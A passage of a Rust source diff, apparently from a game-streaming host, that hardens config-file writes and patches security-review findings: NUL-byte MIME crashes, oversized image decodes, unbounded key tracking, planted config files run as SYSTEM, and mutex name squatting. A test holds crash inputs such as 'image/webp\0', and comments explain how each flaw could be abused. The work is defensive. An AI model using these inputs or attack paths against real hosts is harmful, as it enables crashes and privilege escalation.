||||
let e = std::io::Error::other(
|
||||
"the file read back different from what was just written",
|
||||
);
|
||||
store_health::record(path, &e);
|
||||
Err(e)
|
||||
}
|
||||
Err(reread) => {
|
||||
store_health::record(path, &reread);
|
||||
Err(reread)
|
||||
}
|
||||
}
|
||||
}
|
||||
// Both routes are gone: the store really is unwritable. Report the direct write's
|
||||
// error — it describes the actual permission/space problem, where the rename's may
|
||||
// only say the two paths landed on different volumes.
|
||||
Err(direct) => {
|
||||
store_health::record(path, &direct);
|
||||
Err(direct)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether the config store is accepting writes, so a front-end can *say so* when it is not.
|
||||
///
|
||||
/// Every persistence call site in this crate is deliberately fire-and-forget — a failed
|
||||
/// settings write must never take a stream down — which historically meant a client whose
|
||||
/// store was unwritable looked completely normal: toggles moved, profiles appeared, and
|
||||
/// nothing survived a restart. The field report that produced this module had no log file to
|
||||
/// send either, so there was no signal anywhere. Recording the last failure centrally lets the
|
||||
/// UI surface it without unpicking ~15 `let _ = …save()` call sites.
|
||||
pub mod store_health {
|
||||
use std::path::Path;
|
||||
use std::sync::Mutex;
|
||||
|
||||
static LAST_ERROR: Mutex<Option<String>> = Mutex::new(None);
|
||||
|
||||
pub(crate) fn record(path: &Path, err: &std::io::Error) {
|
||||
let msg = format!("{}: {err}", path.display());
|
||||
tracing::error!(store = %path.display(), error = %err, "cannot persist client config");
|
||||
if let Ok(mut slot) = LAST_ERROR.lock() {
|
||||
*slot = Some(msg);
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn clear() {
|
||||
if let Ok(mut slot) = LAST_ERROR.lock() {
|
||||
*slot = None;
|
||||
}
|
||||
}
|
||||
|
||||
/// The most recent failure to persist a config file, if the last attempt failed.
|
||||
///
|
||||
/// Tracks the last *attempt*, not a per-file verdict: a store that cannot be written fails
|
||||
/// every file, so this latches for as long as the problem lasts and goes quiet the moment
|
||||
/// any write gets through.
|
||||
pub fn last_error() -> Option<String> {
|
||||
LAST_ERROR.lock().ok().and_then(|s| s.clone())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1940,6 +2049,7 @@ mod tests {
|
||||
/// discipline all three client stores now share.
|
||||
#[test]
|
||||
fn write_atomic_replaces_and_cleans_up() {
|
||||
let _guard = store_health_lock();
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"pf-client-core-test-{}",
|
||||
std::time::SystemTime::now()
|
||||
@@ -1953,7 +2063,112 @@ mod tests {
|
||||
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":1}");
|
||||
write_atomic(&p, b"{\"a\":2}").unwrap();
|
||||
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":2}");
|
||||
assert!(!p.with_extension("json.tmp").exists());
|
||||
assert!(!temp_sibling(&p).exists());
|
||||
// Nothing else in the directory either — the scratch file is gone, not renamed aside.
|
||||
let left: Vec<_> = std::fs::read_dir(&dir)
|
||||
.unwrap()
|
||||
.filter_map(|e| e.ok().map(|e| e.file_name()))
|
||||
.collect();
|
||||
assert_eq!(left, vec![std::ffi::OsString::from("store.json")]);
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// `store_health` is process-global, so the two tests that read it must not run at the same
|
||||
/// time — one's successful write clears the other's recorded failure. Nothing else in the
|
||||
/// crate's tests reaches `write_atomic`, so this lock is the whole serialization needed.
|
||||
fn store_health_lock() -> std::sync::MutexGuard<'static, ()> {
|
||||
static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
|
||||
LOCK.lock().unwrap_or_else(|e| e.into_inner())
|
||||
}
|
||||
|
||||
/// Two processes saving at once must not share one scratch file — the pid keeps them apart.
|
||||
/// (Same-process, so this only proves the name varies with the pid, not the interleaving.)
|
||||
#[test]
|
||||
fn temp_sibling_is_per_process_and_a_sibling() {
|
||||
let p = Path::new("/tmp/pf/client-windows-settings.json");
|
||||
let t = temp_sibling(p);
|
||||
assert_eq!(t.parent(), p.parent());
|
||||
assert_eq!(
|
||||
t.file_name().unwrap().to_str().unwrap(),
|
||||
format!("client-windows-settings.json.tmp-{}", std::process::id())
|
||||
);
|
||||
// Must not collide with the store itself, nor look like one to `load()`.
|
||||
assert_ne!(t, p.to_path_buf());
|
||||
}
|
||||
|
||||
/// **The fix itself.** When the temp+rename route is unavailable, the bytes must still
|
||||
/// reach the target — that is the difference between the field's "read-only mode" and a
|
||||
/// working client. Simulated by parking a DIRECTORY on the (deterministic) temp sibling
|
||||
/// path so the temp leg cannot be written; the field's install fails one step later, at
|
||||
/// the rename, but both funnel into the same fallback, which is what this pins.
|
||||
#[test]
|
||||
fn the_atomic_route_failing_falls_back_to_an_in_place_write() {
|
||||
let _guard = store_health_lock();
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"pf-client-core-inplace-{}-{}",
|
||||
std::process::id(),
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos())
|
||||
.unwrap_or(0)
|
||||
));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
let p = dir.join("store.json");
|
||||
std::fs::write(&p, b"{\"old\":true}").unwrap();
|
||||
|
||||
// Block the scratch path, so the atomic route cannot complete.
|
||||
std::fs::create_dir_all(temp_sibling(&p)).unwrap();
|
||||
assert!(temp_sibling(&p).is_dir());
|
||||
|
||||
// The write must still report success AND actually be readable back — a silent
|
||||
// `Ok(())` that lost the bytes is the bug, not the fix.
|
||||
write_atomic(&p, b"{\"new\":true}").unwrap();
|
||||
assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"new\":true}");
|
||||
// Degraded, but not broken: nothing to warn the user about.
|
||||
assert_eq!(store_health::last_error(), None);
|
||||
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// The other end: when the in-place fallback ALSO fails, the error must surface rather
|
||||
/// than be swallowed, because at that point nothing the user does on the page will stick.
|
||||
#[test]
|
||||
fn a_failed_rename_still_persists_the_write() {
|
||||
let _guard = store_health_lock();
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"pf-client-core-fallback-{}-{}",
|
||||
std::process::id(),
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos())
|
||||
.unwrap_or(0)
|
||||
));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
|
||||
// Sanity: the healthy path reports a healthy store.
|
||||
let ok = dir.join("store.json");
|
||||
write_atomic(&ok, b"{}").unwrap();
|
||||
assert_eq!(store_health::last_error(), None);
|
||||
|
||||
// Now the unwritable case: a directory in the target's place defeats BOTH the rename
|
||||
// and the in-place write, so the error must surface instead of being swallowed.
|
||||
let blocked = dir.join("blocked.json");
|
||||
std::fs::create_dir_all(&blocked).unwrap();
|
||||
std::fs::write(blocked.join("occupant"), b"x").unwrap();
|
||||
assert!(write_atomic(&blocked, b"{\"a\":1}").is_err());
|
||||
let reported = store_health::last_error().expect("an unwritable store must be reported");
|
||||
assert!(
|
||||
reported.contains("blocked.json"),
|
||||
"the report names the store: {reported}"
|
||||
);
|
||||
// No scratch file left behind by the failed attempt.
|
||||
assert!(!temp_sibling(&blocked).exists());
|
||||
|
||||
// And a later success clears it, so the UI stops warning once the store recovers.
|
||||
write_atomic(&ok, b"{\"a\":2}").unwrap();
|
||||
assert_eq!(store_health::last_error(), None);
|
||||
assert_eq!(std::fs::read_to_string(&ok).unwrap(), "{\"a\":2}");
|
||||
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -270,7 +270,11 @@ fn load_floor(path: &Path, channel: &str) -> u64 {
|
||||
.unwrap_or(0)
|
||||
}
|
||||
|
||||
/// Raise (never lower) the floor; atomic tmp+rename so a power cut can't half-write it.
|
||||
/// Raise (never lower) the floor, through the crate's one config writer — this used to
|
||||
/// hand-roll its own tmp+rename, which meant it neither cleaned up its temp on a failed
|
||||
/// rename nor picked up [`crate::trust::write_atomic`]'s in-place fallback, so on an install
|
||||
/// where the rename cannot work the floor silently never rose and a declined update came
|
||||
/// back forever.
|
||||
fn store_floor(path: &Path, channel: &str, serial: u64) {
|
||||
let mut file: FloorFile = std::fs::read(path)
|
||||
.ok()
|
||||
@@ -287,10 +291,7 @@ fn store_floor(path: &Path, channel: &str, serial: u64) {
|
||||
if let Some(dir) = path.parent() {
|
||||
let _ = std::fs::create_dir_all(dir);
|
||||
}
|
||||
let tmp = path.with_extension("json.tmp");
|
||||
if std::fs::write(&tmp, &bytes).is_ok() {
|
||||
let _ = std::fs::rename(&tmp, path);
|
||||
}
|
||||
let _ = crate::trust::write_atomic(path, &bytes);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- check
|
||||
|
||||
@@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> {
|
||||
out
|
||||
}
|
||||
|
||||
/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument.
|
||||
///
|
||||
/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the
|
||||
/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type.
|
||||
/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn valid_passthrough_mime(m: &str) -> bool {
|
||||
let Some((ty, rest)) = m.split_once('/') else {
|
||||
return false;
|
||||
};
|
||||
!ty.is_empty()
|
||||
&& !rest.is_empty()
|
||||
&& m.len() <= 255
|
||||
// 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and
|
||||
// any non-ASCII byte.
|
||||
&& m.bytes().all(|b| (0x21..=0x7E).contains(&b))
|
||||
}
|
||||
|
||||
/// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME
|
||||
/// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain`
|
||||
/// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only).
|
||||
@@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec<String> {
|
||||
WIRE_PNG => push("image/png"),
|
||||
WIRE_JPEG => push("image/jpeg"),
|
||||
WIRE_GIF => push("image/gif"),
|
||||
other => push(other),
|
||||
// A MIME we don't canonicalize is passed through verbatim — so it is the one value on
|
||||
// this path the CLIENT fully controls, and it ends up as a Wayland string argument.
|
||||
// The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it,
|
||||
// so a single interior NUL turns one control message into a host clipboard panic
|
||||
// (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so
|
||||
// nothing upstream removes it. Validate here, at the boundary where the value stops
|
||||
// being ours and becomes libwayland's.
|
||||
other if valid_passthrough_mime(other) => push(other),
|
||||
other => {
|
||||
tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME");
|
||||
}
|
||||
}
|
||||
}
|
||||
// Synthesis: rich text without plain text → also advertise plain (the source derives it lazily).
|
||||
@@ -389,6 +417,38 @@ mod tests {
|
||||
assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]);
|
||||
}
|
||||
|
||||
/// One control message must not be able to panic the host clipboard coordinator
|
||||
/// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a
|
||||
/// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it.
|
||||
#[test]
|
||||
fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() {
|
||||
// The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire.
|
||||
assert!(!valid_passthrough_mime("image/webp\0"));
|
||||
assert!(!valid_passthrough_mime("\0"));
|
||||
assert!(!valid_passthrough_mime("image/\0webp"));
|
||||
// Other control bytes and whitespace are refused for the same reason.
|
||||
assert!(!valid_passthrough_mime("image/web\np"));
|
||||
assert!(!valid_passthrough_mime("image/web p"));
|
||||
assert!(!valid_passthrough_mime("image/web\tp"));
|
||||
// Shapes that are not a MIME type at all.
|
||||
assert!(!valid_passthrough_mime(""));
|
||||
assert!(!valid_passthrough_mime("noslash"));
|
||||
assert!(!valid_passthrough_mime("/nosubtype"));
|
||||
assert!(!valid_passthrough_mime("notype/"));
|
||||
assert!(!valid_passthrough_mime(&format!(
|
||||
"image/{}",
|
||||
"x".repeat(300)
|
||||
)));
|
||||
// Legitimate uncanonicalized MIMEs still pass through.
|
||||
assert!(valid_passthrough_mime("image/webp"));
|
||||
assert!(valid_passthrough_mime("application/x-custom+json"));
|
||||
assert!(valid_passthrough_mime("text/plain;charset=utf-8"));
|
||||
|
||||
// End to end: the offer list is built without the malformed entry, and does not panic.
|
||||
let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]);
|
||||
assert_eq!(offers, vec!["image/png".to_string()]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pick_wayland_mime_prefers_canonical() {
|
||||
let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()];
|
||||
|
||||
@@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] {
|
||||
/// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame.
|
||||
/// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste).
|
||||
pub fn image_to_dib(bytes: &[u8]) -> Option<Vec<u8>> {
|
||||
let img = image::load_from_memory(bytes).ok()?;
|
||||
// Bound the DECODE, not just the result.
|
||||
//
|
||||
// These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT
|
||||
// limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the
|
||||
// already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in
|
||||
// full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05
|
||||
// review L-9). Limits applied here make the allocation refuse instead.
|
||||
//
|
||||
// The caps are the clipboard's own contract expressed up front: the same 32767 per side that
|
||||
// is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest
|
||||
// representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive.
|
||||
let mut limits = image::Limits::default();
|
||||
limits.max_image_width = Some(32767);
|
||||
limits.max_image_height = Some(32767);
|
||||
limits.max_alloc = Some(256 * 1024 * 1024);
|
||||
let reader = image::ImageReader::new(std::io::Cursor::new(bytes))
|
||||
.with_guessed_format()
|
||||
.ok()?;
|
||||
let mut reader = reader;
|
||||
reader.limits(limits);
|
||||
let img = reader.decode().ok()?;
|
||||
let rgba = img.to_rgba8();
|
||||
let (w, h) = (rgba.width() as usize, rgba.height() as usize);
|
||||
if w == 0 || h == 0 || w > 32767 || h > 32767 {
|
||||
|
||||
@@ -1022,10 +1022,21 @@ impl EiState {
|
||||
// Track held state on the wire codes so `release_all` can undo it at
|
||||
// session end (vanished clients must not leave anything latched).
|
||||
match ev.kind {
|
||||
InputKind::KeyDown if !self.held_keys.contains(&ev.code) => {
|
||||
self.held_keys.push(ev.code);
|
||||
// Track the code we ACTUALLY INJECTED, not the raw wire code.
|
||||
//
|
||||
// Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all
|
||||
// press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41
|
||||
// never matched the entry a KeyDown for 0x141 left behind. A client sending
|
||||
// distinct high bytes therefore appended entries that could never be removed, to a
|
||||
// `Vec` scanned linearly on every keystroke, for the lifetime of the injector
|
||||
// thread — which outlives the session (2026-08-05 review L-4). Tracking the
|
||||
// truncated code makes the list correct AND bounds it at 256 entries by
|
||||
// construction. `release_all` re-injects through the same truncation, so the
|
||||
// release path is unchanged.
|
||||
InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => {
|
||||
self.held_keys.push(ev.code & 0xff);
|
||||
}
|
||||
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code),
|
||||
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff),
|
||||
InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => {
|
||||
self.held_buttons.push(ev.code);
|
||||
}
|
||||
|
||||
+92
-17
@@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
|
||||
{
|
||||
let r = std::fs::create_dir_all(dir);
|
||||
#[cfg(windows)]
|
||||
restrict_dir_to_system_admins(dir);
|
||||
restrict_dir_to_system_admins(dir, first_hardening_of(dir));
|
||||
r
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the
|
||||
/// expensive recursive re-own.
|
||||
///
|
||||
/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup
|
||||
/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write)
|
||||
/// would re-walk the whole config tree — recordings, art cache — for nothing.
|
||||
#[cfg(windows)]
|
||||
fn first_hardening_of(dir: &std::path::Path) -> bool {
|
||||
use std::collections::HashSet;
|
||||
use std::sync::{Mutex, OnceLock};
|
||||
static SEEN: OnceLock<Mutex<HashSet<PathBuf>>> = OnceLock::new();
|
||||
SEEN.get_or_init(|| Mutex::new(HashSet::new()))
|
||||
.lock()
|
||||
.map(|mut s| s.insert(dir.to_path_buf()))
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to
|
||||
/// Administrators.
|
||||
///
|
||||
/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first
|
||||
/// ran was never written by us: it is owned by whoever created it, and an owner always retains
|
||||
/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back.
|
||||
/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and
|
||||
/// command line (2026-08-05 review H-4). Best-effort and never fatal.
|
||||
#[cfg(windows)]
|
||||
pub fn restrict_existing_secret_file(path: &std::path::Path) {
|
||||
if !path.exists() {
|
||||
return;
|
||||
}
|
||||
let icacls = icacls_path();
|
||||
let _ = std::process::Command::new(&icacls)
|
||||
.arg(path.as_os_str())
|
||||
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status();
|
||||
restrict_to_system_admins(path);
|
||||
}
|
||||
|
||||
/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a
|
||||
/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is.
|
||||
#[cfg(not(windows))]
|
||||
pub fn restrict_existing_secret_file(_path: &std::path::Path) {}
|
||||
|
||||
/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`.
|
||||
#[cfg(windows)]
|
||||
fn icacls_path() -> String {
|
||||
std::env::var("SystemRoot")
|
||||
.map(|r| format!("{r}\\System32\\icacls.exe"))
|
||||
.unwrap_or_else(|_| "icacls".to_string())
|
||||
}
|
||||
|
||||
/// Best-effort Windows DACL lockdown of the config *directory* (the companion to
|
||||
/// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users`
|
||||
/// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the
|
||||
@@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
|
||||
/// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs
|
||||
/// (locale-independent) via the absolute `%SystemRoot%` path; never fatal.
|
||||
#[cfg(windows)]
|
||||
fn restrict_dir_to_system_admins(dir: &std::path::Path) {
|
||||
let icacls = std::env::var("SystemRoot")
|
||||
.map(|r| format!("{r}\\System32\\icacls.exe"))
|
||||
.unwrap_or_else(|_| "icacls".to_string());
|
||||
// Reset ownership of the directory object to Administrators first, so a dir a non-admin may have
|
||||
// pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning
|
||||
// the dir itself is what defeats the pre-creation; recursing a large captures tree each call is
|
||||
// needless churn (secret files are individually owner-locked by `write_secret_file`).
|
||||
let _ = std::process::Command::new(&icacls)
|
||||
.arg(dir.as_os_str())
|
||||
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
|
||||
fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
|
||||
let icacls = icacls_path();
|
||||
// Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep
|
||||
// OWNER control (an owner always retains WRITE_DAC and can put its access straight back).
|
||||
//
|
||||
// `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS.
|
||||
// Re-owning only the directory left every file the attacker had already created still owned by
|
||||
// them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4
|
||||
// was exploitable end to end. A planted tree is planted once, before the host first runs, so one
|
||||
// deep pass at startup closes it without re-walking recordings and art cache on every write.
|
||||
let mut own = std::process::Command::new(&icacls);
|
||||
own.arg(dir.as_os_str())
|
||||
.args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators
|
||||
if deep {
|
||||
own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet
|
||||
}
|
||||
let _ = own
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status();
|
||||
@@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
|
||||
"*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM
|
||||
"/grant:r",
|
||||
"*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators
|
||||
"/grant:r",
|
||||
"*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS
|
||||
// NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted
|
||||
// `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it —
|
||||
// so a file a local user created before the hardening ran stayed writable by them even
|
||||
// after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and
|
||||
// Administrators cover every account that legitimately writes here; a non-elevated
|
||||
// manual run gets read-only config, which is the intended boundary rather than a
|
||||
// regression — this directory drives command execution as SYSTEM.
|
||||
"/grant:r",
|
||||
"*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant)
|
||||
])
|
||||
@@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
|
||||
/// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used
|
||||
/// for the host private key and the persisted trust stores so a local unprivileged user can neither
|
||||
/// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing).
|
||||
///
|
||||
/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not
|
||||
/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is
|
||||
/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists
|
||||
/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error.
|
||||
///
|
||||
/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into
|
||||
/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first
|
||||
/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The
|
||||
/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the
|
||||
/// `icacls` below is defence in depth rather than the thing standing between a local user and the
|
||||
/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this
|
||||
/// window becomes real again.
|
||||
pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> {
|
||||
use std::io::Write;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
@@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re
|
||||
/// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour).
|
||||
#[cfg(windows)]
|
||||
fn restrict_to_system_admins(path: &std::path::Path) {
|
||||
let icacls = std::env::var("SystemRoot")
|
||||
.map(|r| format!("{r}\\System32\\icacls.exe"))
|
||||
.unwrap_or_else(|_| "icacls".to_string());
|
||||
let icacls = icacls_path();
|
||||
let status = std::process::Command::new(icacls)
|
||||
.arg(path.as_os_str())
|
||||
.args([
|
||||
|
||||
@@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" }
|
||||
bytemuck = { version = "1.19", features = ["derive"] }
|
||||
windows = { version = "0.62", features = [
|
||||
"Win32_Foundation",
|
||||
# The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so
|
||||
# a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the
|
||||
# name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16).
|
||||
"Win32_Security",
|
||||
"Win32_Security_Authorization",
|
||||
"Win32_Devices_DeviceAndDriverInstallation",
|
||||
"Win32_Devices_Display",
|
||||
"Win32_Graphics_Gdi",
|
||||
|
||||
@@ -2465,11 +2465,18 @@ pub fn ei_socket_file() -> std::path::PathBuf {
|
||||
crate::with_env_lock(pf_paths::gamescope_ei_socket_file)
|
||||
}
|
||||
|
||||
/// Does this resolved launch command start Steam (`steam … steam://…`)? Such a launch needs Steam's
|
||||
/// single instance free before a dedicated spawn (B1). Pure + unit-tested.
|
||||
/// Does this resolved launch command start the Steam **client**? Such a launch needs Steam's single
|
||||
/// instance free before a dedicated spawn (B1), and wants gamescope's `--steam` integration on.
|
||||
/// Pure + unit-tested.
|
||||
///
|
||||
/// The test is the first token, NOT the presence of a `steam://` URI. A `steam_ui` launcher entry
|
||||
/// (design D4) resolves to a bare `steam -gamepadui` / `steam` with no URI at all, and it is *more*
|
||||
/// exposed to the single-instance problem than a game launch is, not less: on a box that autologged
|
||||
/// into game mode, the nested second Steam would see the first and exit, taking the spawn down with
|
||||
/// it. A URI-gated check would silently skip both the instance free and `--steam` for exactly the
|
||||
/// launch that most needs them.
|
||||
fn is_steam_launch(cmd: &str) -> bool {
|
||||
let mut it = cmd.split_whitespace();
|
||||
it.next() == Some("steam") && cmd.contains("steam://")
|
||||
cmd.split_whitespace().next() == Some("steam")
|
||||
}
|
||||
|
||||
/// Shape a resolved launch command for a bare-spawn gamescope session. A Steam URI launch
|
||||
@@ -2865,7 +2872,13 @@ mod tests {
|
||||
assert!(is_steam_launch("steam -silent steam://rungameid/570"));
|
||||
assert!(!is_steam_launch("vkcube"));
|
||||
assert!(!is_steam_launch("lutris lutris:rungameid/42"));
|
||||
assert!(!is_steam_launch("steam -bigpicture")); // no URI = not a game launch
|
||||
// A `steam_ui` LAUNCHER entry (design D4) carries no URI, and must still count: it needs the
|
||||
// single instance freed (B1) and gamescope's `--steam` mode on. Gating on `steam://` would
|
||||
// have skipped both for the one launch that is Big Picture itself.
|
||||
assert!(is_steam_launch("steam -gamepadui"));
|
||||
assert!(is_steam_launch("steam"));
|
||||
// A command that merely mentions steam elsewhere is not a Steam client launch.
|
||||
assert!(!is_steam_launch("mygame --steam-overlay"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -2891,6 +2904,13 @@ mod tests {
|
||||
shape_dedicated_command("steam -bigpicture"),
|
||||
"steam -bigpicture"
|
||||
);
|
||||
// The `steam_ui` launcher entries (design D4) pass through untouched — the shaping only ever
|
||||
// fires on a `steam://` game launch, so there is no way to end up with `-gamepadui` twice.
|
||||
assert_eq!(
|
||||
shape_dedicated_command("steam -gamepadui"),
|
||||
"steam -gamepadui"
|
||||
);
|
||||
assert_eq!(shape_dedicated_command("steam"), "steam");
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
//! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream.
|
||||
|
||||
use super::*;
|
||||
use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES};
|
||||
|
||||
/// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the
|
||||
/// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is
|
||||
@@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
|
||||
machine — refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \
|
||||
the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \
|
||||
service stop`) first.";
|
||||
// SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by
|
||||
// the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented
|
||||
// ERROR_ALREADY_EXISTS protocol for pre-existing named objects.
|
||||
// A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which
|
||||
// includes the LocalService account the plugin runner is forced to (plugins.rs). With `None`
|
||||
// security attributes this object took the DACL from the creating token's default, and a
|
||||
// squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently
|
||||
// and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm
|
||||
// below and reports a perfectly reasonable "another instance is managing the driver", which
|
||||
// sends the operator hunting a process that does not exist (2026-08-05 review L-16).
|
||||
//
|
||||
// Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check
|
||||
// the OWNER of a name that already exists so a squat is reported as a squat.
|
||||
let sd = security_descriptor()?;
|
||||
let sa = SECURITY_ATTRIBUTES {
|
||||
nLength: std::mem::size_of::<SECURITY_ATTRIBUTES>() as u32,
|
||||
lpSecurityDescriptor: sd.0,
|
||||
bInheritHandle: false.into(),
|
||||
};
|
||||
// SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives
|
||||
// the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and
|
||||
// `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS
|
||||
// protocol for pre-existing named objects.
|
||||
unsafe {
